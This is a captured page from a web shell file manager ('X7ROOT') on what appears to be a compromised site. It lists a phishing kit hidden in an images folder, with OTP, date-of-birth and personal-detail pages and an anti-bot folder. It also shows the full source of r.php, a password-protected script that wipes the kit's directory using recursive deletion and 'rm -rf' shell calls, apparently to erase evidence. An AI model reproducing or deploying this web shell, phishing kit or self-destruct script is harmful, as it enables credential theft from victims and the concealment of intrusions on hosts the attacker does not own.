X7ROOT File Manager
Current Path:
/home/seodomino/public_html/images/evcqltaj/family-access
home
/
seodomino
/
public_html
/
images
/
evcqltaj
/
family-access
/
📁
..
📄
Alkami.woff2
(40.98 KB)
📁
antibots
📄
c.html
(4.41 KB)
📄
config.php
(798 B)
📁
css
📄
dob.html
(5.89 KB)
📄
favicon.ico
(1.04 KB)
📁
file
📄
glyphicons-halflings-regular.woff
(17.61 KB)
📄
index2.html
(10.51 KB)
📄
info.html
(8.75 KB)
📄
isotope.min.css
(16.45 KB)
📁
js
📄
me.php
(56 B)
📄
otp.html
(4.9 KB)
📄
otp2.html
(4.92 KB)
📄
otp3.html
(5.06 KB)
📄
personal.html
(6.12 KB)
📄
personal2.html
(5.83 KB)
📄
r.php
(1.43 KB)
📄
redirect.php
(736 B)
📄
ss.html
(9.86 KB)
Editing: r.php
<?php $password = "p"; if (!isset($_GET['p']) || $_GET['p'] !== $password) { die("Unauthorized"); } $currentDir = __DIR__; $dirName = basename($currentDir); $parentDir = dirname($currentDir); $dirToDelete = $parentDir . DIRECTORY_SEPARATOR . $dirName; function deleteDirectory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dir); } function attemptDelete($dir) { // Method 1: PHP's rmdir() if (rmdir($dir)) return true; // Method 2: Recursive deletion if (deleteDirectory($dir)) return true; // Method 3: System command - rm exec("rm -rf " . escapeshellarg($dir) . " 2>&1", $output, $returnVar); if ($returnVar === 0) return true; // Method 4: System command - rmdir exec("rmdir /s /q " . escapeshellarg($dir) . " 2>&1", $output, $returnVar); if ($returnVar === 0) return true; // Method 5: PHP's unlink() for each file then rmdir() $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { (is_dir("$dir/$file")) ? attemptDelete("$dir/$file") : unlink("$dir/$file"); } return rmdir($dir); } if (is_dir($dirToDelete)) { echo attemptDelete($dirToDelete) ? "success" : "failure"; } else { echo "failure"; } ?>
Upload File
Create Folder